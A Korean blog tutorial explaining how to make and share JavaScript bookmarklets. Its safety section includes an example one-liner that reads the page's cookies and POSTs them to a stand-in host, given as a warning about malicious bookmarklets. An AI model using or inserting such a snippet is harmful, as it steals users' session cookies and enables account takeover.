북마크릿 및 만드는 방법

북마크릿은 새 페이지를 여는 대신 자바스크립트를 실행하는 북마크입니다. Chrome, Firefox 및 대부분의 Chromium 기반 브라우저를 포함한 거의 모든 브라우저에서 사용할 수 있습니다.

그것들은 만들기가 매우 쉽고 다른 스크립트 주입, DOM과의 상호 작용, JavaScript로 할 수 있는 모든 것을 포함하여 거의 모든 것을 할 수 있습니다.

책갈피를 만드는 방법

매우 쉽습니다. 다음 콘텐츠로 북마크를 만드십시오(브라우저에 있는 방법을 사용하여).

javascript:(() => {/* Your code goes here */})();

javascript: 부분은 북마크가 실제로 실행될 javascript임을 브라우저에 알려줍니다.

나머지 코드는 정상적으로 실행되지만 이미 정의된 변수를 실수로 덮어쓰지 않도록 IIFE(Immediately-Invoked Function Expression)로 만들 수 있습니다. 코드는 원하는 대로 지정할 수 있지만 일부 사이트(예: GitHub)에서는 일부 작업(예: 스크립트 삽입)이 차단될 수 있습니다.


jQuery를 주입할 수 없습니다!!

또 다른 유용한 트릭은 북마클릿이 HTML을 반환하도록 하면 현재 페이지의 콘텐츠가 HTML로 덮어쓰여진다는 것입니다! (임의의 xkcd 가져오기를 원하는 경우에 완벽함)

북마크릿 공유

북마크릿을 직접 사용하려면 북마클릿의 코드를 복사해야 하는 것이 상당히 번거롭습니다.

잘,

책갈피는 URL일 뿐입니다

.

링크

의 href에 URL을 추가할 수 있습니다.

링크를 북마크할 수 있습니다(마우스 오른쪽 버튼을 클릭하거나 북마크 바로 드래그)

.

따라서 웹사이트에 공유 가능한 북마크를 추가하려면 <a>가 어떤 코드로 설정되어 있는 href 요소를 만드십시오.

<a href="javascript:(()=>{alert('Hello, World!'); })();">Bookmark me</a>

아쉽게도 여기에 북마크를 추가할 수 없는 것 같습니다. 따라서 출력이 있는 펜은 다음과 같습니다.



사용할 수 있는 북마클릿이 몇 가지 더 있습니다.

안전

북마크릿은 페이지에서 스크립트를 실행하는 것과 같으므로 정말 주의해야 합니다.

예를 들어 이 북마클릿은 쿠키를 쉽게 읽고 어딘가에 게시할 수 있습니다.

javascript:(() => fetch('http://cookiesnatchers.com?cookie=' + document.cookie, {method:'POST'})();

다시 한 번 북마크릿이 수행하는 작업에 대해 정말 주의해야 합니다.

읽어 주셔서 감사합니다! 멋진 책갈피가 있으면 아래에서 공유하십시오!